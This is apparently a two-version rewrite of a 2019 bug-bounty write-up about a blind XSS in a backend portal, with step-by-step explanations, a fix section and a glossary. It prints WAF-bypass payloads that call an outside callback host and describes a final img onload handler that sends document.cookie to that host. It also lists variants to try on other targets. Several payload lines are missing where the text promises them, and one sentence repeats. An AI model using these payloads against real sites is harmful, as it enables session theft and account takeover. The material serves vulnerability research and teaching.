Blind Xss (A mind game to win the battle)
A blind XSS vulnerability existed in a backend portal where user-supplied input was rendered without proper sanitisation. An attacker could execute JavaScript in the context of the backend portal and steal session cookies, potentially leading to account takeover.
Published on medium.com
Dirtycoder
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up covers a blind XSS found in the backend portal of a private bug bounty program. The program is referred to only as https://redacted.com, so the public-facing product and the feature behind the form are not described in the report. What matters for the attack is the shape of the feature: a form on the main site whose submitted text is later rendered inside a backend portal, a place the researcher cannot see directly. That is the definition of blind XSS here: the payload executes in a browser used by whoever reviews submissions, not in the researcher's own session.
The researcher is Dirtycoder (@dirtycoder0124), the report was published on 11 December 2019, and the bounty was $1000. The researcher rates severity as Critical (9 ~ 10).
Setup
The only tool named is https://blindf.com, described in the report as a platform/tool/framework to find blind XSS. It provides the callback endpoints used throughout the payloads: b.php for the BHTML payload, bx.php for the BXSS payload, and later a.jpg and oc.php for the final cookie-exfiltration payload. The report does not describe how the Blindf account was configured or what the dashboard showed beyond the confirmations mentioned below.
The precondition is a private program with a form on https://redacted.com whose input is stored and rendered in a backend portal. The researcher had no direct view of that portal; every observation came from callbacks to Blindf.
Finding it
The starting point was simply a form on https://redacted.com. The workflow assumes that whatever is submitted through the form is later rendered in a backend portal the researcher cannot see. Because that interface is not reachable by the researcher, the only way to learn whether injected markup runs there is to make the injected content call back to a server the researcher controls. Blindf fills that role.
The report does not describe how the form was discovered or what fields it contained beyond the text field used for the payloads.
Exploitation
Step 1: BHTML plus BXSS in the text field
The first attempt put both a BHTML payload and a BXSS payload into the text field:
<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>""></script><script src=https://blindf.com/bx.php></script>
The img tag with a src pointing at b.php is the BHTML probe: if the backend renders the markup, the browser there requests the image and Blindf records the hit. The closing </script> and the remote <script src=https://blindf.com/bx.php> are the BXSS part, intended to load and execute JavaScript from Blindf.
Result: the WAF blocked the submission.
Step 2: BHTML only
The BXSS part was removed, leaving only:
<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>
Result: the WAF allowed the submission. The next day Blindf confirmed that the BHTML payload had executed in the backend. At this point the researcher knew the backend renders submitted markup, and the plan became to get a BXSS payload past the filter. The plan became to get a BXSS payload past the filter, since the rendering itself was already proven.
Step 3: BHTML plus an SVG onload handler
The next payload combined the working BHTML probe with an inline SVG handler:
The onload handler uses with(top) to reach the top-level window, appends a newly created script element to the body, and sets its src to the Blindf BXSS endpoint. This avoids a literal <script src=...> tag in the submitted text.
Result: the WAF allowed the submission, but only the BHTML payload fired. The BXSS part did not execute.
Step 4: base href plus a script tag
The next attempt tried to control how a relative script URL resolves, using a base element:
The base element would make the relative ./bx.php resolve against https://blindf.com, and the nonce='secret' attribute was presumably an attempt to satisfy a nonce-based script policy. The stray sfds text is filler between the fragments.
Result: the WAF blocked this one and the form could not be submitted. The report notes the researcher's frustration at this point.
Step 5: base64 payload in an id attribute, executed with eval(atob())
The next payload moved the JavaScript into an attribute and decoded it at runtime:
The id attribute holds a base64 string. The onerror handler of the broken image (src=x) decodes that string with atob and passes it to eval. The decoded code creates a script element, sets its src to https://blindf.com/bx.php, and appends it to the document body.
Result: the WAF was bypassed, but again only the BHTML payload worked and the BXSS part failed.
Step 6: reasoning about why the BXSS part failed
At this point the researcher stopped changing payloads and analysed the situation:
- BHTML plus BXSS payloads were used throughout.
- Some BXSS payloads bypassed the WAF but did not execute in the backend portal, while BHTML payloads executed there and callbacks were received.
- The suspicion was that something was stopping the remote JavaScript file from executing, such as CORS or the same-origin policy.
- The conclusion was that BXSS had to be achieved without including a remote JavaScript file.
- A plain
alertpopup would prove nothing to the researcher, because it would only be visible to the backend user. - The
<imgtag was working, but a remote script file could not be included. - The requirement became a payload that both executes JavaScript and reports back, so that execution could be confirmed.
Step 7: inline handler that sends the cookie back
The final payload keeps the BHTML probe and adds an image whose onload handler rewrites its own src to carry the document cookie to Blindf:
When the second image loads from https://blindf.com/a.jpg, the onload handler runs in the backend page's origin and sets the image's src to https://blindf.com/oc.php/?c= followed by document.cookie. The cookie value therefore arrives at Blindf as a query parameter, which both proves JavaScript execution and sends the cookie back. No remote script file is needed, which sidesteps whatever was blocking the earlier attempts.
Result: the WAF was bypassed, the BHTML payload executed, the BXSS payload executed, and the cookie value was received.
Root cause
The report does not include any server-side code, so the root cause can only be described at the level the behaviour shows. Submitted form text is stored and later rendered in the backend portal without adequate output encoding, so markup such as an img tag is parsed and its event handlers run in the backend user's browser. The WAF in front of the form inspects the submitted text and blocks some patterns, notably a literal remote <script src=...> and the base plus script combination, but it does not block img tags with event handlers. The researcher's working theory for why remote scripts did not run even when they passed the WAF is a browser policy such as CORS or the same-origin policy; the report states this as a suspicion, not a confirmed cause. The final payload works because it needs no external script: the handler is inline and the exfiltration is a plain image request.
Impact
The demonstrated impact is execution of attacker-controlled JavaScript in the backend portal, in the browser of whoever views the submitted content, and exfiltration of that browser's cookies for the portal. The report shows the cookie value being received but does not describe what privileges that session held or what was done with it. The researcher rates severity as Critical (9 ~ 10) and received a $1000 bounty.
Fix
The fix implied by the behaviour is to encode submitted text on output in the backend portal so that it is displayed as text rather than parsed as HTML, and to apply a restrictive Content Security Policy that would stop inline handlers and outbound image requests carrying data. A WAF rule blocking individual payloads is not sufficient on its own, as the sequence of bypasses here shows.
Variants to test
- Submit a bare
<img src=...>probe through any form whose output is rendered elsewhere, and watch for the callback. A hit confirms stored HTML rendering before any script work is attempted. - Submit an
imgwith anonerrororonloadhandler that performs a same-origin action, such as readingdocument.cookieinto an image URL. A callback containing the cookie confirms JavaScript execution without a remote script file. - Try a literal remote
<script src=...>first. If the WAF blocks it but an inline handler passes, the filter is pattern-based rather than policy-based. - Try a
baseelement with a relative script URL to see whether URL resolution can be redirected. A block here suggests the WAF inspectsbaseandscripttogether. - Encode the JavaScript in an attribute and decode it at runtime with
eval(atob(...)). A callback would show the encoded attribute survived the WAF, though here the BXSS part still failed. - If remote scripts fail even after passing the WAF, assume a browser policy is interfering and switch to inline handlers with image-based exfiltration, as in the final payload here.
What happened, in plain words
A security researcher found a form on a website. When someone filled in that form, the text was later shown to staff inside a private admin area, a place the researcher could not see. The researcher tested whether special HTML code typed into the form would run in the backend portal where submissions were rendered. This kind of attack is called blind XSS, because the attacker never sees the result directly: the code fires somewhere else, in someone else's browser.
The researcher used a service called Blindf to catch the moment the code ran. Blindf is a server that waits for a request. If the injected code makes the victim's browser ask Blindf for a file, Blindf records the hit and tells the researcher. That is how you "see" something you cannot see.
The first attempts were blocked by a WAF, a filter that sits in front of the website and rejects suspicious input. The researcher kept changing the payload until one version got past the filter and its JavaScript actually ran. The final payload did not just prove the code ran: it also sent the backend browser's cookie value back to Blindf. A cookie is a small piece of data the browser stores for a site, and for a logged-in user it often acts like a key that proves who they are. Getting that cookie is serious.
The researcher rated the severity as Critical (9 ~ 10) and received a $1000 bounty. The report was published on 11 December 2019. The program was private, so the site is only referred to as https://redacted.com, and the report does not describe the product or the feature behind the form.
The pieces you need to know
Before walking through the steps, here are the ideas the attack relies on, explained from zero.
- HTML is the language web pages are written in. It is made of tags like
<img>(an image) or<script>(a piece of code). The browser reads the tags and draws the page. - JavaScript is the programming language browsers run. It can read data on the page, including cookies, and it can make network requests.
- XSS (cross-site scripting) means getting your own HTML or JavaScript into a page that other people view, so that it runs in their browser. The browser trusts the page, so it trusts your code too.
- Blind XSS is XSS where the page that runs your code is not one you can open yourself. You inject through one place (here, a form) and the code runs somewhere else (here, a backend portal used by staff). You only learn it worked when your code calls back to a server you control.
- A WAF (web application firewall) is a filter in front of a website that looks at what you send and blocks things that look like attacks. It works on patterns, so a cleverly shaped payload can sometimes slip through.
- A cookie is a small value a site stores in your browser. For a logged-in user it often identifies the session, so stealing it can let an attacker act as that user.
- CORS and the same-origin policy are browser rules about which sites may load resources from which other sites. They can stop a page from loading a script file from a different domain.
- A callback is simply your payload making the victim's browser contact a server you own. If the server sees the request, your code ran.
The tool
The only tool named in the report is https://blindf.com, described as a platform, tool or framework to find blind XSS. It gives you addresses you can put in your payloads. When a victim's browser requests one of those addresses, Blindf records it. The report uses these Blindf endpoints:
b.phpfor the BHTML payload, the part that only proves HTML was rendered.bx.phpfor the BXSS payload, the part that tries to load and run JavaScript.a.jpgandoc.phpin the final payload, used to send the cookie back.
The report does not describe how the Blindf account was set up or what its dashboard showed beyond the confirmations mentioned below.
The starting point
The researcher found a form on https://redacted.com. The assumption behind the whole attack is that whatever is submitted through the form is later displayed to staff in a backend interface. Because the researcher cannot open that interface, the only way to find out whether injected HTML runs there is to make the injected content call back to Blindf.
Step 1: BHTML plus BXSS in the text field
The first attempt put two things into the text field: a BHTML payload and a BXSS payload.
<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>">"></script><script src=https://blindf.com/bx.php></script>
Line by line:
<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>is the BHTML probe. It is an image tag pointing at Blindf. If the backend page renders this HTML, the staff member's browser will try to load the image, Blindf will see the request, and the researcher will know the HTML was rendered. Thec=redacted_bhtml_executionpart is just a label so the hit can be recognised.">is a stray closing quote and angle bracket, left over from trying to break out of whatever HTML context the input lands in.</script>tries to close a script block, in case the input is placed inside one.<script src=https://blindf.com/bx.php></script>is the BXSS part. It asks the browser to load and run JavaScript from Blindf. If it runs, Blindf sees a second request and the researcher knows JavaScript executed.
Why this shape: the image probe is harmless and easy to spot, so it tells you whether HTML rendering happens at all. The script tag is the real attack, and it is added alongside in the hope that both get through.
Result: the WAF blocked the submission and the form could not be sent.
Step 2: BHTML only
The researcher removed the BXSS part, leaving only the image probe.
<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>
Line by line:
- This is a single image tag. The browser will request the address in
src, which is Blindf'sb.phpwith a label. - There is no script and no JavaScript, so there is much less for a WAF to object to.
Why this step: after the block in step 1, the researcher wanted to find out which half of the payload the WAF disliked. Removing the script half tests that.
Result: the WAF allowed the submission. The next day Blindf confirmed that the BHTML payload had executed in the backend. That told the researcher the backend really does render submitted HTML, so the plan became to get a BXSS payload past the filter. The plan became to get a BXSS payload past the filter, since rendering was already proven.
Step 3: BHTML plus an SVG onload handler
The next payload kept the working image probe and added an inline handler on an SVG element.
Line by line:
- The
<img ...>part is the same BHTML probe as before, so the researcher still gets a signal that HTML rendered. ">">is filler meant to close quotes and tags and break out of the surrounding HTML.<svg ...>starts an SVG element, a way of drawing graphics in HTML. SVG elements can carry event handlers just like images.onload='...'is the handler. It runs automatically when the SVG finishes loading, with no click needed.with(top)makes the code inside run as if it were in the top-level page, even if the input is inside a frame.body.appendChild(createElement("script"))creates a new script element and adds it to the page body..src="https://blindf.com/bx.php"points that new script at Blindf, so the browser loads and runs it.
Why this shape: a literal <script src=...> tag was blocked in step 1. This version never writes that tag in the submitted text. It builds the script element at runtime with JavaScript instead, hoping the WAF only looks for the literal pattern.
Result: the WAF allowed the submission, but only the BHTML payload fired. The BXSS part did not execute.
Step 4: base href plus a script tag
The next attempt tried to control how a relative script address is resolved, using a base element.
Line by line:
- The
<img ...>part is again the BHTML probe. "> sfds">is filler text between fragments, used to break out of the surrounding HTML.<base href="https://blindf.com">tells the browser that any relative address on the page should be resolved againsthttps://blindf.com. So./bx.phpwould becomehttps://blindf.com/bx.php.<script nonce='secret' src='./bx.php'></script>loads a script using a relative address. The script tag also carries anonce='secret'attribute.
Why this shape: if the WAF blocks the full address https://blindf.com/bx.php but not a short relative one, the base element lets the payload hide the real destination. The nonce is there in case the page uses a policy that checks for one.
Result: the WAF blocked this one and the form could not be submitted. The report notes the researcher's frustration at this point.
Step 5: base64 payload in an id attribute, executed with eval(atob())
The next payload moved the JavaScript into an attribute and decoded it at runtime.
Line by line:
- The first
<img ...>is the BHTML probe again. ">">is filler to break out of the surrounding HTML.<img src=x ...>is a second image whose addressxdoes not exist, so it will fail to load.id=dmFy...stores a long base64 string in theidattribute. Base64 is a way of writing data using only letters, digits and a few symbols, so it does not look like code to a filter. Decoded, it is JavaScript that creates a script element, sets itssrctohttps://blindf.com/bx.php, and adds it to the page body.onerror=eval(atob(this.id))is the handler that runs when the broken image fails to load.atobdecodes the base64 string, andevalruns the result as JavaScript.
Why this shape: the WAF blocks obvious script patterns. Base64 hides the code, and eval(atob(...)) turns it back into code only inside the browser, after the filter has already let it through.
Result: the WAF was bypassed, but again only the BHTML payload worked and the BXSS part failed.
Step 6: thinking about why the BXSS part failed
At this point the researcher stopped changing payloads and analysed the situation:
- BHTML plus BXSS payloads were used throughout.
- Some BXSS payloads bypassed the WAF but did not execute in the backend portal, while BHTML payloads executed there and callbacks were received.
- The suspicion was that something was stopping the remote JavaScript file from executing, such as CORS or the same-origin policy.
- The conclusion was that BXSS had to be achieved without including a remote JavaScript file.
- A plain
alertpopup would prove nothing to the researcher, because it would only be visible to the backend user. - The
<imgtag was working, but a remote script file could not be included. - The requirement became a payload that both executes JavaScript and reports back, so that execution could be confirmed.
Why this matters: the WAF was no longer the only obstacle. Even payloads that got past it did not run their script. That points at the browser, not the filter. If the browser refuses to load a script from another domain, no amount of WAF trickery will help. The way around it is to avoid loading an external script at all and use code that is already inline in the HTML.
Step 7: inline handler that sends the cookie back
The final payload keeps the BHTML probe and adds an image whose onload handler rewrites its own address to carry the cookie to Blindf.
Line by line:
- The first
<img ...>is the BHTML probe, unchanged, so the researcher still gets the HTML-rendered signal. <img src=https://blindf.com/a.jpg ...>is a second image that loads a real file from Blindf. Because the file exists, the image loads successfully.onload=this.src='https://blindf.com/oc.php/?c='+document.cookieis the handler that runs when the image finishes loading. It changes the image's own address to Blindf'soc.php, with the value ofdocument.cookieappended after?c=.document.cookieis the browser's way of reading the cookies for the current page. When the address changes, the browser requests the new address, and the cookie travels to Blindf as part of the URL.
Why this shape: no external script file is needed. The JavaScript is inline in the onload attribute, so whatever was blocking remote scripts no longer applies. The exfiltration is a plain image request, which browsers allow across domains. And because the cookie value arrives at Blindf, the researcher gets proof that JavaScript ran and gets the cookie at the same time.
Result: the WAF was bypassed, the BHTML payload executed, the BXSS payload executed, and the cookie value was received.
Why it worked
The report does not include any server-side code, so the cause can only be described from the behaviour. Submitted form text is stored and later rendered in the backend portal without proper output encoding, so HTML such as an img tag is parsed and its event handlers run in the backend user's browser. The WAF in front of the form inspects the submitted text and blocks some patterns, notably a literal remote <script src=...> and the base plus script combination, but it does not block img tags with event handlers. The researcher's working theory for why remote scripts did not run even when they passed the WAF is a browser policy such as CORS or the same-origin policy; the report states this as a suspicion, not a confirmed cause. The final payload works because it needs no external script: the handler is inline and the exfiltration is a plain image request.
What the impact was
The demonstrated impact is execution of attacker-controlled JavaScript in the backend portal, in the browser of whoever views the submitted content, and exfiltration of that browser's cookies for the portal. The report shows the cookie value being received but does not describe what privileges that session held or what was done with it. The researcher rates severity as Critical (9 ~ 10) and received a $1000 bounty.
How to fix it
The fix implied by the behaviour is to encode submitted text on output in the backend portal so that it is displayed as text rather than parsed as HTML, and to apply a restrictive Content Security Policy that would stop inline handlers and outbound image requests carrying data. A WAF rule blocking individual payloads is not sufficient on its own, as the sequence of bypasses here shows.
Things to try on other targets
- Submit a bare
<img src=...>probe through any form whose output is rendered elsewhere, and watch for the callback. A hit confirms stored HTML rendering before any script work is attempted. - Submit an
imgwith anonerrororonloadhandler that performs a same-origin action, such as readingdocument.cookieinto an image URL. A callback containing the cookie confirms JavaScript execution without a remote script file. - Try a literal remote
<script src=...>first. If the WAF blocks it but an inline handler passes, the filter is pattern-based rather than policy-based. - Try a
baseelement with a relative script URL to see whether URL resolution can be redirected. A block here suggests the WAF inspectsbaseandscripttogether. - Encode the JavaScript in an attribute and decode it at runtime with
eval(atob(...)). A callback would show the encoded attribute survived the WAF, though here the BXSS part still failed. - If remote scripts fail even after passing the WAF, assume a browser policy is interfering and switch to inline handlers with image-based exfiltration, as in the final payload here.
Glossary
- HTML: the language web pages are written in, made of tags like
<img>and<script>. - JavaScript: the programming language browsers run, able to read page data and make network requests.
- XSS (cross-site scripting): getting your own HTML or JavaScript into a page other people view, so it runs in their browser.
- Blind XSS: XSS where the page that runs your code is not one you can open yourself, so you only learn it worked through a callback.
- Payload: the piece of code you submit through a form or other input in an attack.
- WAF (web application firewall): a filter in front of a website that blocks input matching attack patterns.
- BHTML: in this report, the part of the payload that only proves HTML was rendered, using an image request.
- BXSS: in this report, the part of the payload that tries to load and run JavaScript.
- Callback: a request your payload makes to a server you control, used to confirm it ran.
- Cookie: a small value a site stores in your browser, often identifying a logged-in session.
- Session: the logged-in state a site keeps for a user, usually tied to a cookie.
- CORS: browser rules about which sites may load resources from which other sites.
- Same-origin policy: the browser rule that a page from one origin cannot freely read data from another origin.
- Origin: the combination of scheme, host and port that a page belongs to, such as
https://blindf.com. - SVG: a way of drawing graphics in HTML, whose elements can carry event handlers.
- Event handler: an attribute like
onloadoronerrorwhose code runs when something happens to the element. - Base64: a way of writing data using only letters, digits and a few symbols, often used to hide code from filters.
atob: a browser function that decodes a base64 string back into text.eval: a JavaScript function that runs a string as code.document.cookie: the browser's way of reading the cookies for the current page.- Nonce: a one-time value a page can require on scripts, so only scripts carrying it are allowed to run.
- Content Security Policy (CSP): a set of rules a site sends to the browser saying which scripts and requests are allowed.
- Output encoding: converting stored text so it is displayed as text rather than parsed as HTML.
- Bounty: the money a bug bounty program pays for a valid report.
- Severity: a rating of how serious a vulnerability is, here given as Critical (9 ~ 10).